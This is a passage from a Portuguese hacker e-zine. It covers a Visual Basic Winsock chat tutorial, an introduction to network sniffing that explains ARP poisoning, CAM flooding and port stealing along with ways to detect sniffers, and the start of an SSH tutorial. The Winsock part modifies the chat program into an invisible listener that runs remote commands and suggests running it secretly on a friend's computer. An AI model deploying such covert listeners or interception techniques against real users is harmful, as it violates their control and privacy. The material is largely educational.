# Arrume a propriedade "Interval" do Timer1 para "500"(é o mesmo que 1/2 segundo)
Esta propriedade arruma o tempo, de que em tempo em tempo o Evento Timer
ocorrerá no Timer1 Saiba que 1000(na Propriedade Interval) equivale a 1 segundo,
logo 500 é 1/2 segundo...
--------------------------------------------------------
# Private Sub Timer1_Timer()
# Label1.Caption = "Status: " & Winsock1.State
# End Sub
Mantém sempre ativo e verdadeiro o valor atual do Winsock1.state exibido em
Label1.Caption
--------------------------------------------------------
# Private Sub Command1_Click()
# On Error GoTo erro
# Winsock1.Connect Text3.Text, 120
# Exit Sub
# erro:
# MsgBox "Não conssegui me conectar", vbCritical, "Erro ao tentar conectar"
# End Sub
On error goto erro >>> significa que se houver algum erro ao tentar executar
alguma das linhas abaixo, quer que exiba uma mensagem de erro no nosso caso...
Winsock1.Connect Text3.Text, 120 >>> quer dizer para o winsock se conectar com
o Host que foi predeterminado pelo usuário em Text3.Text, pela porta 120...
OBS: O Host pode ser também um número IP
--------------------------------------------------------
# Private Sub Command2_Click()
# On Error GoTo erro
# Winsock1.SendData Text1.Text
# Text2.Text = Text2.Text & "Eu Disse: " & Text1.Text & vbCrLf
# Exit Sub
# erro:
# MsgBox "Não conssegui enviar o código!", vbCritical, "Erro ao tentar
conectar"
# End Sub
Tenta enviar a informação presente em Text1.Text para o Host Remoto e adicionar
o que acabou de escrever em Text2.Text, caso não conssiga ele deverá exibir uma
mensagem de erro...
--------------------------------------------------------
# Private Sub Command3_Click()
# Winsock1.Close
# End Sub
Prepara ou Reprepara o Winsock para uma nova conexão...
--------------------------------------------------------
# Private Sub Winsock1_Connect()
# Winsock1.SendData Winsock1.LocalIP & " está conectado!"
# Text2.Text = Text2.Text & "Eu Disse:" & Winsock1.LocalIP & " está conectado!"
& vbCrLf
# End Sub
Caso consiga se conectar ele envia a mensagem: " está conectado!", e exibe
oque acabou de enviar em Text2.Text
--------------------------------------------------------
# Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
# Dim X As String
# Winsock1.GetData X
# Text2.Text = Text2.Text & "Ele disse: " & X & vbCrLf
# End Sub
Armazena oque acabou de receber em X e salva o valor atual de X, concatenando
em Text2.Text
--------------------------------------------------------
# Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
# Winsock1.Close
# Winsock1.Accept requestID
# End Sub
winsock1.close >>> Reprepara o winsock pra parar de "escutar" e ficar preparado
para esta nova conexão...
Winsock1.Accept requestID >>> Aceita conexão
--------------------------------------------------------
# Private Sub Form_Load()
# Winsock1.Listen
# End Sub
Prepara o winsock1 para aceitar conecções pela porta 120, como já pré
determinado pela
propriedade LocalPort e RemotePort...
--------------------------------------------------------
Colocando pra rodar:
- Coloque o 1º programa em seu computador pra rodar...
- Coloque o 2º programa no computador do seu amigo pra rodar...
- Pegue o IP do teu amigo...
- Coloque este IP no campo de texto ao lado do botão conectar...
- Click em conectar...e inicie o bate papo...
Agora...Repare...Quase todos os aplicativos e programas do windows voltados pra
internet utilizam essa DLL (em alguma vezes, e como nestes exemplos:
OCX)...Bom...agora que você já entende... Imagine, o que faz os programas
"conversarem" entre si é este componente, isso não parece um "CHAT"?
Por isso que digo e confirmo a minha idéia neste próximo capítulo...
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-= 5: Aperfeiçoando uma idéia... =-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Agora... imagine se o programa envia uma certa informação, e o programa receptor
recebe esta e analisa o conteúdo, quando ele analisa o conteúdo (sem mostrar a
informação ao usuário), verifica que sempre sem mostrar ao usuário deverá
executar uma tal instrução.... agora imagine se este usuário (o que está com o
programa receptor) não souber que está rodando em seu PC o programa... e agora
imagine que esta tal instrução seja de apagar algum arquivo, ou exibir pro
usuário uma mensagem de um suposto "vírus"...
Pegue aquele programa que deveria rodar na casa do seu visinho do capítulo 4 e
vamos fazer algumas modificação nele...
>>> No Evento Load do Form1 atualize o código para que fique como abaixo:
# Private Sub Form_Load()
# Me.Visible = False
# Winsock1.Close
# Winsock1.Listen
# End Sub
>>> No Evento DataArrival do Winsock1 atualize o código para que fique como
abaixo:
# Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
# Dim X As String
# Winsock1.GetData X
# Select Case X
# Case "#EXIT#"
# End
# Case "#MSG1#"
# MsgBox "Isto é um Vírus! esteja preparado para as conssequencias",
vbCritical, "É o teu fim!"
# Case "#MSG2#"
# MsgBox "Eu sou Munrra!" & vbCrLf & "Espíritos do Além! torne esta forma
decadente em Munrra!!!", _
# vbInformation, "Munrra domina novamente!"
# Case "#MSG3#"
# MsgBox "Ha!!!!!!!!!!!! o mundo vai acabar! salve-se quem puder!!!!!!",
vbCritical, "É o fim do mundo!"
# Case Else
# MsgBox "Teu amigo ta querendo te encher o saco....vai lá na casa dele bater
nele!", vbCritical, _
# "Teu amigo é um safado!"
# End Select
# End Sub
Como isso funciona:
--------------------------------------------------------
# Private Sub Form_Load()
# Me.Visible = False
# Winsock1.Close
# Winsock1.Listen
# End Sub
Me.Visibled = False >>> quer dizer para o formulário ficar invisível
--------------------------------------------------------
# Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
# Dim X As String
# Winsock1.GetData X
# Select Case X
# Case "#EXIT#"
# End
# Case "#MSG1#"
# MsgBox "Isto é um Vírus! esteja preparado para as conseqüência", vbCritical,
"É o teu fim!"
# Case "#MSG2#"
# MsgBox "Eu sou Munrra!" & vbCrLf & "Espíritos do Além! torne esta forma
decadente em Munrra!!!", _
# vbInformation, "Munrra domina novamente!"
# Case "#MSG3#"
# MsgBox "Ha!!!!!!!!!!!! o mundo vai acabar! salve-se quem puder!!!!!!",
vbCritical, "É o fim do mundo!"
# Case Else
# MsgBox "Teu amigo ta querendo te encher o saco....vai lá na casa dele bater
nele!", vbCritical, _
# "Teu amigo é um safado!"
# End Select
# End Sub
Verifica O valor de X (que é a variável que armazena a informação que chegou),
ao verificar ele "Vê" se o valor é #EXIT#, ou #MSG1# ou #MSG2#, quando ele
"descobre" qual que é ele executa sua referente função.
--------------------------------------------------------
Dica: Aconselho-te estudar BEM o código fonte antes de simplesmente compilá-lo
e enviar ao teu amigo...eheh
O que você fez foi enviar comandos(#EXIT#, #MSG1#...) ao invés de enviar
mensagens...de certa forma você ainda enviou mensagens, que é algo comum em um
CHAT.... Agora imagina se o seu programa começasse a enviar comandos para saber
se ainda está conectado com teu amigo, mas não é você que está enviando os
"comandos". Que conclusão é possível se tirar disso?
R: Ainda há um CHAT! um Chat de programa pra programa...e não mais de Usuário
para usuário.
Explicado, agora que você entende isso repare uma coisa: TODOS OS PROGRAMAS QUE
UTILIZAM REDE ESTÃO NESTA ESPÉCIE DE CHAT!!!!
Logo podemos dizer que "toda comunicação é um chat"!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-= 6: Contato =-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Se você não entendeu algo... ou tem alguma dúvida sobre algo que foi explicado
aqui, ou sobre winsock ou qualquer coisa mesmo... pode me perguntar, se eu
souber, eu respondo.
vbkeydel@hotmai.com
139112482
-=| EOF |=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[07]-=[Sniffing for Dummies]-=|hallz|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Introducao ao Sniffing
(Sniffing for Dummies)
Por hallz
.:: Introducao ::.
Procuro abordar aqui o funcionamento de um sniffer, os riscos que este pode
trazer a uma rede, alguns truques que invasores usam para oculta-lo e tambem
formas de deteccao.
Ao longo do artigo, usarei a palavra 'invasor' quando me referir a pessoa que
esta 'sniffando' uma rede que nao seja sua. 'Invasor' neste caso, serve para
hackers, crackers e kiddies. Vale lembrar, no entanto, que as diferencas entre
os termos sao enormes. Hackers sao pessoas com conhecimento avancado, que estao
sempre em busca de mais conhecimento, compartilham suas descobertas e seguem uma
etica; Crackers violam sistemas com intencoes maliciosas, causando problemas aos
seus alvos; Kiddies sao pessoas que nao tem conhecimento tecnico, apenas usam
ferramentas criadas por outros como forma de conseguir seus 15 minutos de fama.
Este eh um texto basico, portanto se voce ja eh 'fera', nao espere encontrar
algo novo por aqui.
.:: O que sao Sniffers? ::.
Sniffers (farejadores) sao dispositivos (podem ser programas ou algum hardware
especifico) que capturam (a maioria tambem analisa) o trafego de uma rede de
forma passiva, isto eh, sem interferir nas comunicacoes. Estes, podem ser
utilizados tanto por administradores como por invasores, obviamente com
propositos diferentes.
Administradores podem usar um sniffer para detectar, ou pelo menos ajudar a
detectar, a causa de um problema, assim como gerar logs do trafego da rede que
podem ser consultados posteriormente caso necessario (devido ao comprometimento
de uma maquina, por exemplo). Ja invasores podem utiliza-lo para capturar
informacoes confidenciais que circulem em 'texto-puro', ou seja, nao
criptografadas. Qualquer informacao nao criptografada, incluindo logins e senhas
de servicos como FTP, Telnet e POP, estara acessivel ao invasor. Usar
criptografia eh altamente recomendavel, porem nao impede totalmente o acesso por
parte do invasor as informacoes.
.:: Como Funcionam ::.
Para entender o funcionamento dos sniffers, precisamos entender o
funcionamento das redes. Aqui sera abordado o padrao Ethernet, o mais utilizado
hoje em dia.
Cada computador em uma rede Ethernet tem o seu endereco de hardware, o MAC
(Media Access Control). O MAC, um numero hexadecimal de 12 digitos, unico em
toda a rede (teoricamente nao existem duas placas de rede com o mesmo MAC), eh
utilizado para identificar as maquinas. Em cada pacote enviado, logo no comeco,
podemos encontrar dois enderecos MACs; O endereco do computador que enviou o
pacote, e o endereco do computador que deve recebe-lo.
Na verdade, todos os computadores da rede recebem os pacotes (salvo se a rede
utilizar switches - isto sera abordado mais adiante), mas so responderao a
pacotes destinados a elas, ou seja, apenas responderao caso o pacote em questao
tenha o seu endereco MAC como destinatario; caso nao possua, o pacote sera
descartado (isso eh feito a nivel de hardware - interface de rede). Se
conseguirmos fazer com que a interface nao descarte os pacotes, poderemos
capturar todo o trafego da rede! E eh assim que um sniffer funciona, ele faz com
que a interface de rede aceite todos os pacotes. Quando uma interface se
encontra nesta condicao, dizemos que esta em 'modo promiscuo', estado que geral-
mente pode-se habilitar via software.
Na maioria dos sistemas operacionais atuais, para por uma interface de rede em
modo promiscuo, deve-se ter privilegios de root (administrador). O sniffer pode
ser utilizado com a interface em seu estado normal, mas neste caso soh serao
capturados os pacotes que tenham como origem (ou destino) o computador onde ele
esta sendo executado. Pode nao parecer tao interessante (e realmente nao eh) mas
se este computador for um roteador, o invasor tera acesso a todo o trafego que
por ele passar.
Os pacotes capturados pelo sniffer geralmente sao armazenados em arquivos
salvos no disco rigido, para posterior analise. Em uma rede movimentada, este
arquivo podera ficar enorme, em poucas horas, o que facilitaria a deteccao de um
sniffer por parte do administrador. Por este motivo (e tambem para nao perder
tempo), sniffers instalados furtivamente sao bem seletivos; gravam apenas o que
eh interessante ao invasor (geralmente logins e senhas). Como estas informacoes
geralmente localizam-se no comeco do pacote, muitos sniffers nao analisam o pa-
cote inteiro, mas apenas os seus primeiros 200-300 bytes. Outros sniffers vao
ainda mais longe; enviam os logins/senhas capturados para um e-mail fornecido
pelo invasor.
Imaginemos a seguinte situacao: Um invasor, localizado no RJ, quer interceptar
a conversa pela internet de Joao e Maria, que estao em SP, usando um sniffer. Eh
possivel?
----------------
/ \
/ \
------ ---------- ---------- -------
| Joao |---> | Provedor | INTERNET | Provedor | <--- | Maria |
------ ---------- ---------- -------
\ /
\ ---------- /
--| Provedor |--
----------
|
---------
| Invasor |
---------
Claro! Basta que ele consiga acesso ao computador de um dos dois (engenharia
social, exploracao de alguma falha, trojans...), ou a algum que esteja 'no meio
do caminho' (Um servidor do provedor de Maria ou um roteador, por exemplo) e
instale la o sniffer. O invasor pode ainda fazer com que os dados passem pelo
seu computador (ou seja, ele redireciona o trafego). Apesar de ser muito mais
trabalhoso, eh possivel.
.:: Sniffers em redes comutadas ::.
Logo acima foi dito que os pacotes em uma rede sao distribuidos por todos os
computadores; Isto eh verdade se for utilizado um hub ou cabo coaxial para fazer
a ligacao dos PCs, mas nao se for utilizado um switch (Lembrem-se que estamos
falando de redes Ethernet).
Os switches possuem tabelas onde sao armazenados, entre outras coisas,
enderecos MACs encontrados em cada uma de suas portas. Por isso, o switch pode
enviar os pacotes apenas para a porta onde esta o destinatario. Com isso,
dificulta-se o sniffing (Porem nao o torna impossivel :P ). Mas como o switch
sabe em que porta o destinatario esta? Simples! Suponhamos que Joao e Maria
agora estao ligados em uma rede comutada. Vejamos o que acontece se Joao
'pingar' (ICMP Echo Request) o computador de Maria.
Joao ---> ARP Request ---> Broadcast
Joao <--- ARP Response <--- Maria
Joao ---> ICMP Echo Request ---> Maria
Joao <--- ICMP Echo Response <--- Maria
O que acontece eh o seguinte: Joao quer enviar o ICMP Echo Request (o famoso
Ping) para Maria, mas para isso, ele precisa saber o endereco fisico (MAC) do
computador de Maria. Por isso, Joao 'grita', para todos os computadores da rede
(Broadcast): "Qual o endereco MAC de Maria?". Isto eh um ARP Request (Address
Resolution Protocol - o ARP traduz enderecos IP para MAC). Maria entao ouve o
'grito' de Joao e o responde (ARP Response). Agora que Joao ja tem o endereco
MAC, pode enviar o 'ping' (Echo Request), que eh prontamente respondido pela
Maria (Echo Response). Depois disso, caso Joao queira enviar mais algum pacote
para Maria (e vice-versa), nao precisara enviar primeiro outro ARP Request, pois
o endereco MAC de Maria ja sera conhecido, podendo ser localizado na cache ARP
de seu PC. Quando passam ARP Requests e Responses pelo switch, este verifica de
qual de suas portas o pacote foi originado e pega o endereco MAC de origem que
esta escrito no pacote. Essas informacoes sao entao registradas nas tabelas do
switch; Assim ele fica sabendo em que porta estao localizados cada computador, e
pode repassar os pacotes apenas para a porta onde esta o destinatario do pacote.
Redes que operem nesta forma sao chamadas de comutadas. Porem nem tudo sao
flores, e o sniffing ainda pode funcionar nestas condicoes. Vejamos algumas for-
mas de fazer isso.
+ Table Flooding
Como ja foi dito, o switch sabe para que porta enviar cada pacote devido a
tabela que ele possui (CAM Table). (CAM) Table Flooding consiste em encher a
tabela do switch com entradas falsas, para que ele passe a enviar os pacotes
para todas as portas.
Tabela do Switch ANTES do ataque: (apenas para ilustracao, a tabela eh mais
'complexa')
--------------------------
| Porta | Endereco MAC |
|--------------------------|
| 01 | MAC de Maria |
| 02 | MAC de Joao |
| ... | ... |
| 10 | MAC do Invasor |
--------------------------
Entao o invasor, que quer capturar o trafego da rede, comeca a enviar pacotes
ARP para a rede, cada um com um endereco MAC - que nao existe na rede
- diferente. O switch armazena estes enderecos em sua tabela, ateh que esta fica
cheia - Sim, a CAM Table tem um limite de entradas.
Tabela do Switch DURANTE o ataque:
----------------------------
| Porta | Endereco MAC |
|----------------------------|
| 01 | MAC inexistente 1 |
| 02 | MAC inexistente 2 |
| ... | ... |
| 10 | MAC inexistente 10 |
----------------------------
Assim, todo o pacote cujo destinatario nao estiver listado na tabela do switch
devera ser enviado para todas as portas. Ai, o invasor pode captura-los sem
problemas. O macof eh um programa que aplica esta tecnica.
+ ARP Cache Poisoning
Esta tecnica consiste em enviar pacotes ARP forjados para as maquinas-alvo, de
forma com que todo o trafego entre elas passe pela maquina do invasor.
Vejamos o caminho (normal) dos pacotes entre Joao e Maria:
-------- -------- -------
| Joao | <--> | Switch | <--> | Maria |
-------- -------- -------
Para poder sniffar o trafego entre Joao e Maria, o invasor envia pacotes ARP
(que nao requerem autenticacao) para Joao fingindo ser Maria, e pacotes ARP para
Maria fingindo ser Joao. Assim a tabela ARP de Maria e Joao fica envenenada
(poisoned). Vejamos as tabelas:
Antes:
Tabela de Joao ANTES do ataque Tabela de Maria ANTES do ataque
-------------------------------- --------------------------------
| Endereco IP | Endereco MAC | | Endereco IP | Endereco MAC |
|--------------------------------| |--------------------------------|
| IP de Maria | MAC de Maria | | IP de Joao | MAC de Joao |
| IP do Invasor | MAC do Invasor | | IP do Invasor | MAC do Invasor |
-------------------------------- --------------------------------
Durante:
Tabela de Joao DURANTE o ataque Tabela de Maria DURANTE o ataque
-------------------------------- --------------------------------
| Endereco IP | Endereco MAC | | Endereco IP | Endereco MAC |
|--------------------------------| |--------------------------------|
| IP de Maria | MAC do Invasor | | IP de Joao | MAC do Invasor |
| IP do Invasor | MAC do Invasor | | IP do Invasor | MAC do Invasor |
-------------------------------- --------------------------------
O invasor deve certificar-se que os pacotes enviados por Joao cheguem ao seu
destinatario real, Maria, e vice-versa. Isso pode ser feito facilmente atraves
do IP Forwarding, que eh suportado por muitos sistemas operacionais. Alem disso,
o invasor devera enviar regularmente novos pacotes ARP para Maria e Joao, pois
as entradas nas tabelas ARP expiram.
O caminho dos pacotes durante o ARP Poisoning:
-------- -------- --------- -------- -------
| Joao | <--> | Switch | <--> | Invasor | <--> | Switch | <--> | Maria |
-------- -------- --------- -------- -------
Com o ARP Cache Poisoning o invasor pode nao somente capturar os pacotes
enviados como tambem altera-los (assim como cria-los) antes de enviar para o
verdadeiro destinatario. Imagine se o invasor se passar por um roteador...
+ ICMP Redirect
Pacotes ICMP Redirect sao usados por roteadores para fazer com que os
computadores enviem seus pacotes por um caminho diferente. Forjando ICMP
Redirects o invasor pode alterar as tabelas de roteamento de uma maquina para
que o trafego passe por ele.
+ Monitor Port (SPAN, Port Mirroring, Port Monitoring)
Muitos switches fornecem Monitor Ports, que permitem copiar todo o trafego da
rede para uma (ou mais) portas. O problema - Ou solucao, depende do ponto de
vista - eh que muitos administradores nao alteram as senhas-padrao, permitindo
assim que o invasor faca com que o switch envie todo o trafego da rede para a
porta em que ele esta conectado. Caso o switch suporte realizar esta configuracao
via SNMP, o invasor pode tentar adivinhar a senha. Mesmo que o administrador
tenha configurado o switch para aceitar apenas pacotes SNMP vindos de um certo
endereco IP, o invasor pode utilizar de spoofing.
+ Switch Port Stealing
Nesta tecnica o invasor envia pacotes com o endereco MAC de origem da
maquina-alvo. O switch entao "aprende" que o invasor *eh* a maquina-alvo e passa
a enviar os pacotes destinados a ela para o invasor.
Temos dois problemas aih. O primeiro eh que se a maquina-alvo parar de receber
os pacotes, a conexao se encerra; O outro problema eh que a maquina-alvo
continuara enviando pacotes, o que fara com que a tabela do switch volte ao seu
estado normal.
Para contornar o problema, podemos tirar a maquina-vitima da jogada (DoS) e
enviar os pacotes com o MAC alterado. Assim podemos tomar conta de uma conexao
ja autenticada, como uma sessao Telnet. Outra possibilidade eh enviar pacotes
com o MAC alterado em intervalos regulares, e ao receber um pacote destinado a
maquina-alvo, reenvia-lo para broadcast. Assim, a maquina-alvo continua
recebendo os pacotes.
.:: Detectando Sniffers ::.
Por sua natureza passiva, a deteccao de sniffers pode se tornar algo
complicado. Contudo, formas de deteccao existem, e podem ser divididas em duas
categorias: locais e remotas.
A deteccao local consiste basicamente em utilizar ferramentas do sistema para
verificar se existem interfaces em modo promiscuo, ou algum outro indicio da
existencia de sniffers na maquina. Podemos ver se uma interface esta em modo
promiscuo usando o ifconfig:
bash-2.05b# ifconfig -a
eth0 Link encap:Ethernet HWaddr 00:50:56:40:2A:B9
inet addr:192.168.0.172 Bcast:192.168.0.191 Mask:255.255.255.224
UP BROADCAST NOTRAILERS RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:10 errors:0 dropped:0 overruns:0 frame:0
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:2282 (2.2 Kb) TX bytes:2707 (2.6 Kb)
Interrupt:10 Base address:0x10a0
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Repare a palavra "PROMISC" em eth0. Em maquinas Windows (NT, 2000, XP) pode
-se utilizar o PromiscDetect. Outra ferramenta que pode ser utilizada eh o lsof
(list open files), em busca de network files abertos (sockets) ou ainda o
arquivo onde o sniffer grave os dados capturados.
O problema da deteccao local eh que o invasor pode substituir as ferramentas
como ifconfig ou ainda carregar modulos que facam o computador esconder as
informacoes que poderiam entregar a presenca do sniffer. Um checador de
integridade, como o tripwire, pode ajudar a resolver o problema da alteracao de
binarios, mas se o invasor inserir um modulo no kernel que faca o sistema mentir
para voce, o tripwire de nada adiantara. Existem ferramentas, como o rkscan, que
podem localizar rootkits conhecidos, atraves de assinaturas (padroes). Novamente,
o rkscan de nada adiantara contra um rootkit desenvolvido pelo proprio invasor,
ja que sua assinatura nao constara no rkscan.
E a brincadeira de gato e rato continua... :>
A deteccao remota eh um processo heuristico, ou seja, o resultado nao eh 100%
confiavel. Nesta deteccao exploram-se certas caracteristicas do sistema
operacional e protocolos, que possam indicar a existencia de um sniffer. Vejamos
algumas das tecnicas que IDS e ferramentas como o antisniff utilizam para tentar
identificar sniffers na rede.
+ Metodo Ping
Sem duvida o metodo mais conhecido, consiste em enviar um ICMP Echo Request
(ping) para a maquina a ser testada, mas com o endereco MAC diferente. Como o
MAC nao eh o da maquina, nao deve haver resposta ao ping; se houver, eh porque a
interface de rede nao descartou o pacote, e portanto, esta rodando em modo
promiscuo. Este metodo pode ser realizado com qualquer protocolo que gere resposta.
Apesar de eficiente, pode ser contornado facilmente; de fato varios sniffers
furtivos implementam uma especie de 'filtro virtual de MAC', que inutiliza esta
tecnica.
+ Metodo ARP
Existem basicamente duas possibilidades aqui. A primeira eh a mesma do Metodo
Ping, soh que utiliza-se o protocolo ARP. A segunda aproveita-se do ARP Cache.
Lembram de como funciona isto? Se nao lembram, releiam o texto, pois eu que nao
vou escrever novamente :P
Bem, o que se faz eh o seguinte: Envia-se um ARP para um endereco que nao seja
o de broadcast, e depois um Ping para broadcast. As maquinas que responderem o
ping sem antes enviarem um ARP pedindo seu MAC *podem* te-lo obtido capturando o
seu pacote ARP anterior, portanto *podem* estar executando um sniffer.
+ Honey Pot (aka Armadilha)
Honey Pots sao utilizados para a deteccao e estudo de ataques (apesar de
existirem muitas criticas a respeito de seu uso). No caso da deteccao de
sniffers, pode-se enviar informacoes, senhas falsas na rede, simular conexoes, e
esperar que alguem tente usa-las. Pode ser uma boa forma de detectar um sniffer
totalmente passivo.
+ DNS Reverso
Alguns sniffers realizam operacoes resolucao reversao (Reverse DNS Lookups),
isto eh, transformam enderecos IP em nomes mais amigaveis (pelo menos para seres
humanos normais), como google.com. Entao, monitorando a utilizacao de resolucao
reversa na rede pode-se encontrar sniffers.
Um exemplo pratico seria voce enviar varios pings para enderecos inexistentes
na rede, e monitora-la, para ver se alguma maquina tenta realizar a resolucao.
+ Inundacao ARP
Para sniffers em redes comutadas serem funcionais, frequentemente eles
necessitarao gerar grande trafego ARP, seja para encher a tabela do switch ou
para assumir o lugar de outra maquina (Man in the middle). O monitoramento do
numero de anuncios ARP pode revelar a existencia de sniffers na rede.
+ Latencia
Este metodo pode trazer problemas a rede, portanto deve ser empregado com
cuidado, e apenas quando ja existir a suspeita que uma maquina esteja executando
um sniffer. Ele consiste em enviar uma grande quantidade de trafego na rede.
Maquinas que nao estiverem suas interfaces de rede executando em modo promiscuo
nao serao afetadas, apenas as que estiverem, sim. Como serao afetadas? Terao um
aumento do seu tempo de resposta, devido ao fato do sniffer (a maioria) analisar
todos os pacotes recebidos a fim de armazenar apenas as informacoes que forem
interessantes.
'Pingue' a maquina suspeita antes de injetar grande quantidade de trafego na
rede e anote o resultado. Depois, pingue novamente durante a 'tempestade' de
pacotes. Se a diferenca for grande, podemos ter um sniffer ai.
.:: Evitando o sniffing ::.
Existem formas de tornar as coisas mais complicadas para sniffers, como o uso
de entradas ARP estaticas - a cache ARP nao eh modificada - ou o uso de Port
Security, que 'prende' os enderecos MAC a certas portas do switch, mas nao sao
muito praticas.
Existem ainda interfaces de rede que nao suportam o modo promiscuo, mas sao
dificeis de serem encontradas.
A solucao mais efetiva contra sniffers eh o uso de criptografia, desde que
seja implementada de forma correta, com algoritmos seguros, alem de ser muito
mais facil de ser administrado que as solucoes anteriores.
.:: Finalizando ::.
Espero que este artigo tenha atingido seu objetivo de servir de introducao ao
sniffing, um eterno (?) problema para admins. Fico devendo (mas nao garanto que
farei :P) uma parte sobre sniffing de redes wireless. Ate a proxima! :>
hallz
.:: Links Relacionados ::.
http://www.packetstormsecurity.nl/sniffers/
http://stein.cshl.org/~lstein/talks/WWW6/sniffer/
http://www.linux-sec.net/Sniffer/
http://www.datanerds.net/~mike/dsniff.html
http://www.ntsecurity.nu/toolbox/promiscdetect/
http://www.securityfriday.com/ToolDownload/ScoopLM/scooplm_doc.html
http://ettercap.sourceforge.net/
http://www.oxid.it/cain.html
http://staff.washington.edu/dittrich/talks/agora/macof
http://www.robertgraham.com/pubs/sniffing-faq.html
http://www.nwo.net/osall/Methodology/Novice/Sniffer_FAQ/sniffer_faq.html
http://www.packetwatch.net/documents/papers/layer2sniffing.pdf
http://www.ebookhackers.net/kb/index.php?page=index_v1&c=15
.:: EOF ::.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[08]-=[Introdução ao SSH]-=|Haze|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1 - Introdução
2 - O que é SSH
3 - Principais vantagens
4 - Alguns comandos
5 - Clientes SSH
6 - Conclusão
7 - Referêcias
8 - Links
~~~~~~~~~~~~~~~~~
1 - Introdução
~~~~~~~~~~~~~~~~~
Olá turma.
Alguns de voces ja devem ter ouvido falar disso, ou nao. Este tutorial é simples
e foi destinado a explicar o que é SSH para dar ao menos a noção de como
funciona. Como é dito sempre, é um pequeno tutorial destinado a newbies,
portanto, se você é elite ou profissional, não vai querer perder seu tempo lendo
isso neh?.
~~~~~~~~~~~~~~~~~~
2 - O que é SSH ?
~~~~~~~~~~~~~~~~~~
O SSH (Secure Shell, ou shell seguro) é um protocolo de comunicação segura que
foi criada em Julho de 1995, por Tatu Ylonenque com objetivo substituir
protocolos cuja comunicação não é cifrada, apresentando graves problemas de
segurança como é o caso do telnet, rlogin, rsh, rcp e outros, ou seja, qualquer
dado que for transportado por esses protocolos são passados através da internet
como texto puro, permitindo assim o possivel uso de sniffers por pessoas mal
-intencionadas para captura de dados como senhas e logins.
Cifrando a comunicação entre dois pontos, o SSH permite maior segurança na
comunicação de dados, visto que seria bastante complicado para um atacante
decifrar a informação transmitida já que essa informação está criptografada.
Este protocolo serve tanto para serviços remotos de terminal , como para efetuar
transferências seguras de arquivos (sftp), substituindo assim clientes de Telnet
e de FTP. O SSH é muito usado devido sua grande escabilidade , segurança e é
suportado por varios sistemas operacionais ( Linux, *BSD , Windows , MS-DOS,
BeOS , Solaris e outros).
~~~~~~~~~~~~~~~~~~~~~~~~
3- Principais Vantagens
~~~~~~~~~~~~~~~~~~~~~~~~
O SSH utiliza um poderoso método de criptografia chamado de Public Key
Cryptography que permite a autenticação e encriptação entre o cliente e servidor
de maneira que nenhuma senha e nenhuma tranferencia de dados sejam facilmente
interceptados por outros hosts. Esse método usa uma chave pública (public key)
para encriptação dos dados e uma chave privada (private key) para
desencriptação. Assim, antes do PC da Maria estabelecer conexão com o Mac da
Joana, eles passam por um processo de autenticação e troca de chaves públicas: o
PC envia sua public key para o Mac da Joana , e o Mac faz o mesmo com o PC da
Maria. Depois de feita essa troca, a comunicação pode prosseguir com segurança.
A forma de encriptação na comunicação entre duas máquina torna o SSH uma
poderosa ferramenta muito útil na administração de máquinas remotas, uma vez que
permite ao administrador verificar e até mesmo configurar uma máquina
remotamente de forma segura, podendo ele até mesmo executar aplicações como o
Linuxconf na maquina remota.
O canal de comunicação utiliza uma encriptação forte, que garante a privacidade
dos seus dados na rede entre as duas máquinas. Ficando assim impossível (ou
quase) que alguém consiga ler os seus pacotes durante o tráfego pela rede.
Você pode configurar a shell, em suas contas em dois hosts de sua confiança, de
tal forma que você possa passar de um host para o outro de forma pratica e
segura, sem ter de ficar digitando suas senhas a cada seção. Pode-se tambem
configurar a shell para fazer um "pipe-through" de conexões X11 por dentro do
canal encriptado, de forma que fica muito mais simples abrir em sua máquina
janelas de aplicativos X11 que você rode em sistemas remotos, pois não será mais
necessario a preocupação com as variáveis e autorizações de display.
Junto com o SSH vem alguns aplicativos adicionais como o scp e sftp, que
substituem os comandos tradicionais de cópia remota de arquivos como o rcp e
ftp. Estes novos comandos dificilmente falham por causa de erros de
autenticação, como fazem os comandos tradicionais. Em vez disso, é exigido o
password sempre que a autorização automática não for bem sucedida.
~~~~~~~~~~~~~~~~~~~~
4 - Alguns Comandos
~~~~~~~~~~~~~~~~~~~~
Como já foi dito, o SSH visa substituir antigos protocolos de acesso remoto.
Vamos a uma pequena descrição dos principais comandos do SSH.
Comandos :
ssh : Usado para fazer o login e executar comandos dentro de uma máquina remota.
Sintaxe:
ssh usuario@servidor [commando]
Onde:
usuário é o nome do usuário ("login") . Ex.: Maria
